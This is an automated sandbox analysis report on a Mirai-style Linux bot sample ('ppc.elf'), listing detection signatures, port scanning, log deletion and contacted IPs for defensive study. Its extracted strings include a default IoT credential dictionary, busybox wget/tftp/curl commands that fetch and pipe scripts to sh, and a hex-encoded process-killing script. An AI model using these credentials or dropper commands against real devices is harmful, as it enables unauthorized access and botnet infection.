Linux Analysis Report
ppc.elf

Overview

General Information

Sample name: ppc.elf
Analysis ID: 1544358
MD5: bd866ba8a66e81ffa430ee14369d023a
SHA1: fe6571071f4b58d7d458f9e7b7ae08734d5fe60b
SHA256: a628970315b082de46c664912cd9b01f7b7c1a0eb22bde7ffe9cabbc5f51e34a
Tags: elfuser-abuse_ch
Infos:

Detection

Score: 60
Range: 0 - 100
Whitelisted: false

Signatures

Multi AV Scanner detection for submitted file
Connects to many ports of the same IP (likely port scanning)
Deletes system log files
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Creates hidden files and/or directories
Detected TCP or UDP traffic on non-standard ports
Enumerates processes within the "proc" file system
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Sample listens on a socket
Sample tries to kill a process (SIGKILL)
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: ppc.elf ReversingLabs: Detection: 28%
Found strings indicative of a multi-platform dropper
Source: ppc.elf String: ash|login|wget|curl|tftp|ntpdate|ftp
Source: ppc.elf String: /proc//exe|ash|login|wget|curl|tftp|ntpdate|ftp/lib//lib64//fd/mountinfo/dev/null|/dev/consolesocket|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/self/exe/. /proc/
Source: ppc.elf String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking
barindex
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 156.244.13.91 ports 1,2,5,6,7,27651
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:43924 -> 156.244.13.91:27651
Sample listens on a socket
Source: /tmp/ppc.elf (PID: 6245) Socket: 127.0.0.1:1234 Jump to behavior
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: unknown TCP traffic detected without corresponding DNS query: 163.186.50.251
Source: unknown TCP traffic detected without corresponding DNS query: 168.155.240.44
Source: unknown TCP traffic detected without corresponding DNS query: 163.186.50.251
Source: unknown TCP traffic detected without corresponding DNS query: 168.155.240.44
Source: unknown TCP traffic detected without corresponding DNS query: 208.223.236.251
Source: unknown TCP traffic detected without corresponding DNS query: 122.108.24.108
Source: unknown TCP traffic detected without corresponding DNS query: 208.223.236.251
Source: unknown TCP traffic detected without corresponding DNS query: 199.179.4.143
Source: unknown TCP traffic detected without corresponding DNS query: 122.108.24.108
Source: unknown TCP traffic detected without corresponding DNS query: 12.235.207.186
Source: unknown TCP traffic detected without corresponding DNS query: 199.179.4.143
Source: unknown TCP traffic detected without corresponding DNS query: 104.61.166.234
Source: unknown TCP traffic detected without corresponding DNS query: 75.120.86.15
Source: unknown TCP traffic detected without corresponding DNS query: 12.235.207.186
Source: unknown TCP traffic detected without corresponding DNS query: 190.51.64.176
Source: unknown TCP traffic detected without corresponding DNS query: 189.130.44.84
Source: unknown TCP traffic detected without corresponding DNS query: 104.61.166.234
Source: unknown TCP traffic detected without corresponding DNS query: 177.183.147.85
Source: unknown TCP traffic detected without corresponding DNS query: 75.120.86.15
Source: unknown TCP traffic detected without corresponding DNS query: 190.51.64.176
Source: unknown TCP traffic detected without corresponding DNS query: 47.188.26.85
Source: unknown TCP traffic detected without corresponding DNS query: 189.130.44.84
Source: unknown TCP traffic detected without corresponding DNS query: 86.91.40.202
Source: unknown TCP traffic detected without corresponding DNS query: 177.183.147.85
Source: unknown TCP traffic detected without corresponding DNS query: 181.27.85.211
Source: unknown TCP traffic detected without corresponding DNS query: 47.188.26.85
Source: unknown TCP traffic detected without corresponding DNS query: 186.66.115.250
Source: unknown TCP traffic detected without corresponding DNS query: 86.91.40.202
Source: unknown TCP traffic detected without corresponding DNS query: 55.26.222.68
Source: unknown TCP traffic detected without corresponding DNS query: 181.27.85.211
Source: unknown TCP traffic detected without corresponding DNS query: 7.88.54.213
Source: unknown TCP traffic detected without corresponding DNS query: 186.66.115.250
Source: unknown TCP traffic detected without corresponding DNS query: 112.131.199.60
Source: unknown TCP traffic detected without corresponding DNS query: 55.26.222.68
Source: unknown TCP traffic detected without corresponding DNS query: 33.70.255.24
Source: unknown TCP traffic detected without corresponding DNS query: 7.88.54.213
Source: unknown TCP traffic detected without corresponding DNS query: 181.212.19.82
Source: unknown TCP traffic detected without corresponding DNS query: 28.160.4.24
Source: unknown TCP traffic detected without corresponding DNS query: 112.131.199.60
Source: unknown TCP traffic detected without corresponding DNS query: 33.70.255.24
Source: unknown TCP traffic detected without corresponding DNS query: 25.72.248.157
Source: unknown TCP traffic detected without corresponding DNS query: 181.212.19.82
Source: unknown TCP traffic detected without corresponding DNS query: 71.177.141.171
Source: unknown TCP traffic detected without corresponding DNS query: 28.160.4.24
Source: unknown TCP traffic detected without corresponding DNS query: 11.209.7.191
Source: unknown TCP traffic detected without corresponding DNS query: 25.72.248.157
Source: unknown TCP traffic detected without corresponding DNS query: 138.211.106.20
Source: unknown TCP traffic detected without corresponding DNS query: 71.177.141.171
Source: unknown TCP traffic detected without corresponding DNS query: 3.3.55.83
Source: unknown TCP traffic detected without corresponding DNS query: 11.209.7.191
Source: global traffic DNS traffic detected: DNS query: 2joints.libre
Source: ppc.elf String found in binary or memory: http:///curl.sh
Source: ppc.elf String found in binary or memory: http:///wget.sh
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: (usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample String containing 'busybox' found: /wget.sh -O- | sh;/bin/busybox tftp -g
Source: Initial sample String containing 'busybox' found: -r tftp.sh -l- | sh;/bin/busybox ftpget
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample String containing 'busybox' found: (usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var
Sample has stripped symbol table
Source: ELF static info symbol of initial sample .symtab present: no
Sample tries to kill a process (SIGKILL)
Source: /tmp/ppc.elf (PID: 6247) SIGKILL sent: pid: 936, result: successful Jump to behavior
Source: classification engine Classification label: mal60.troj.evad.linELF@0/0@1/0

Data Obfuscation
barindex
Sample tries to access files in /etc/config/ (typical for OpenWRT routers)
Source: /tmp/ppc.elf (PID: 6249) File: /etc/config Jump to behavior
Creates hidden files and/or directories
Source: /tmp/ppc.elf (PID: 6249) Directory: /root/.cache Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /root/.ssh Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /root/.config Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /root/.local Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /tmp/.X11-unix Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /tmp/.Test-unix Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /tmp/.font-unix Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /tmp/.ICE-unix Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /tmp/.XIM-unix Jump to behavior
Source: /tmp/ppc.elf (PID: 6249) Directory: /etc/.java Jump to behavior
Enumerates processes within the "proc" file system
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/230/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/110/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/231/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/111/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/232/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/112/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/233/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/113/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/234/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/114/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/235/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/115/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/236/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/116/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/237/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/117/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/118/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/910/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/119/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/912/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/10/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/11/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/918/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/12/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/13/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/14/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/15/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/16/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/17/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/18/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/120/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/121/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/1/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/122/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/243/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/123/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/2/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/124/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/3/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/4/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/125/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/126/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/127/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/6/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/248/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/128/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/249/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/800/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/9/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/801/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/20/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/21/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/22/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/23/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/24/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/25/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/26/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/27/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/28/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/29/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/491/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/250/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/130/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/251/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/252/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/132/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/253/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/254/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/255/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/256/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/257/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/379/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/258/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/259/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/936/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/30/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/35/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/260/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/261/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/141/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/262/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/263/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/264/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/144/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/265/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/266/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/267/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/269/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/270/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/272/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/274/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/278/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/157/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/281/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/286/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/720/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/721/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/847/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/77/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/78/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/79/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/80/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/81/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/82/fd Jump to behavior
Source: /tmp/ppc.elf (PID: 6247) File opened: /proc/83/fd Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/ppc.elf (PID: 6249) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/ppc.elf (PID: 6245) Queries kernel information via 'uname': Jump to behavior
Source: ppc.elf, 6245.1.000055ec7279c000.000055ec7284c000.rw-.sdmp Binary or memory string: !/etc/qemu-binfmt/ppc1
Source: ppc.elf, 6245.1.000055ec7279c000.000055ec7284c000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/ppc
Source: ppc.elf, 6245.1.00007ffe6649f000.00007ffe664c0000.rw-.sdmp Binary or memory string: /usr/bin/qemu-ppc
Source: ppc.elf, 6245.1.00007ffe6649f000.00007ffe664c0000.rw-.sdmp Binary or memory string: &x86_64/usr/bin/qemu-ppc/tmp/ppc.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/ppc.elf

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
177.138.0.252
 unknown Brazil
27699 TELEFONICABRASILSABR false
133.94.46.186
 unknown Japan 2907 SINET-ASResearchOrganizationofInformationandSystemsN false
30.128.235.76
 unknown United States
7922 COMCAST-7922US false
69.78.157.102
 unknown United States
6167 CELLCO-PARTUS false
83.148.163.104
 unknown United Kingdom
8190 MDNXGB false
25.135.15.232
 unknown United Kingdom
7922 COMCAST-7922US false
27.186.29.44
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
20.152.137.185
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
79.227.210.175
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
27.48.5.219
 unknown India
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
168.219.31.204
 unknown Korea Republic of
7925 WVNETUS false
133.239.243.62
 unknown Japan 2497 IIJInternetInitiativeJapanIncJP false
149.197.34.142
 unknown Finland
1759 TSF-IP-CORETeliaFinlandOyjEU false
29.155.119.88
 unknown United States
7922 COMCAST-7922US false
207.100.82.243
 unknown United States
6079 RCN-ASUS false
183.169.142.39
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
37.33.106.22
 unknown Finland
16086 DNAFI false
156.154.112.230
 unknown United States
19905 NEUSTAR-AS6US false
196.103.105.145
 unknown Kenya
33771 SAFARICOM-LIMITEDKE false
51.224.135.202
 unknown United States
2686 ATGS-MMD-ASUS false
195.177.66.192
 unknown Poland
34393 SYSTEL-ASPL false
221.85.79.65
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
26.72.68.18
 unknown United States
7922 COMCAST-7922US false
4.250.95.176
 unknown United States
3356 LEVEL3US false
55.231.187.56
 unknown United States
306 DNIC-ASBLK-00306-00371US false
202.9.45.183
 unknown Mongolia
10219 SKYCC-AS-MAINSKYMEDIACORPORATIONLLCMN false
155.233.21.8
 unknown South Africa
2018 TENET-1ZA false
83.238.202.5
 unknown Poland
12741 AS-NETIAWarszawa02-822PL false
71.185.235.230
 unknown United States
701 UUNETUS false
86.13.76.181
 unknown United Kingdom
5089 NTLGB false
39.27.219.16
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
128.47.98.71
 unknown United States
252 DNIC-AS-00252US false
130.40.1.8
 unknown United States
270 AS270US false
124.132.18.79
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
207.52.55.129
 unknown United States
1239 SPRINTLINKUS false
141.25.227.146
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
171.70.182.105
 unknown United States
109 CISCOSYSTEMSUS false
103.175.202.32
 unknown unknown
7575 AARNET-AS-APAustralianAcademicandResearchNetworkAARNe false
82.151.191.162
 unknown Netherlands
33915 TNF-ASNL false
131.91.32.169
 unknown United States
12013 FAUNETUS false
48.145.200.199
 unknown United States
2686 ATGS-MMD-ASUS false
213.225.92.161
 unknown Norway
25400 TELIA-NORWAY-ASTeliaNorwayCoreNetworksNO false
191.250.137.20
 unknown Brazil
18881 TELEFONICABRASILSABR false
166.212.74.111
 unknown United States
20057 ATT-MOBILITY-LLC-AS20057US false
70.233.125.163
 unknown United States
7018 ATT-INTERNET4US false
1.22.186.62
 unknown India
45528 TIKONAIN-ASTikonaInfinetLtdIN false
101.33.185.233
 unknown China
132203 TENCENT-NET-AP-CNTencentBuildingKejizhongyiAvenueCN false
36.84.147.79
 unknown Indonesia
7713 TELKOMNET-AS-APPTTelekomunikasiIndonesiaID false
82.97.60.1
 unknown France
8554 ATSATATSATAutonomousSystemFR false
133.196.11.234
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
139.158.69.243
 unknown France
2497 IIJInternetInitiativeJapanIncJP false
80.13.61.39
 unknown France
3215 FranceTelecom-OrangeFR false
60.110.152.38
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
5.89.167.82
 unknown Italy
30722 VODAFONE-IT-ASNIT false
83.89.208.52
 unknown Denmark
3292 TDCTDCASDK false
78.202.211.128
 unknown France
12322 PROXADFR false
216.148.126.14
 unknown United States
16966 SBCIDC-LSAN03US false
68.71.194.228
 unknown United States
16941 CENTURYLINK-LEGACY-FUSEPOINT-CTS-CANADA-POPUS false
92.70.188.182
 unknown Netherlands
1136 KPNKPNNationalEU false
16.214.170.160
 unknown United States
unknown unknown false
80.167.14.72
 unknown Denmark
3292 TDCTDCASDK false
42.94.184.18
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
144.182.122.236
 unknown United States
721 DNIC-ASBLK-00721-00726US false
178.254.155.221
 unknown Serbia
9125 ORIONTELEKOM-ASRS false
209.108.183.131
 unknown United States
7029 WINDSTREAMUS false
169.149.233.111
 unknown India
55836 RELIANCEJIO-INRelianceJioInfocommLimitedIN false
165.119.197.12
 unknown United States
2650 EOP_GATEKEEPERUS false
115.124.141.206
 unknown Japan 7679 QTNETQTnetIncJP false
17.244.57.219
 unknown United States
714 APPLE-ENGINEERINGUS false
196.255.80.254
 unknown South Africa
37501 UOFSZA false
134.169.200.193
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
160.222.0.216
 unknown Australia
24771 FIAT-AS2IT false
175.97.232.114
 unknown Taiwan; Republic of China (ROC)
131628 TAIFUCLOUD-AS-TWTai-FuCloudCoLtdTW false
120.222.161.42
 unknown China
24444 CMNET-V4SHANDONG-AS-APShandongMobileCommunicationCompany false
97.192.7.226
 unknown United States
6167 CELLCO-PARTUS false
210.230.93.115
 unknown Japan 2516 KDDIKDDICORPORATIONJP false
112.243.20.15
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
175.226.95.91
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
176.241.119.122
 unknown Israel
20645 PUREPEAK-ASNIL false
42.195.211.85
 unknown China
4249 LILLY-ASUS false
69.148.181.179
 unknown United States
7018 ATT-INTERNET4US false
176.22.114.13
 unknown Denmark
3292 TDCTDCASDK false
212.35.25.49
 unknown Switzerland
41872 FLASHCABLEFlashcableNetworkCH false
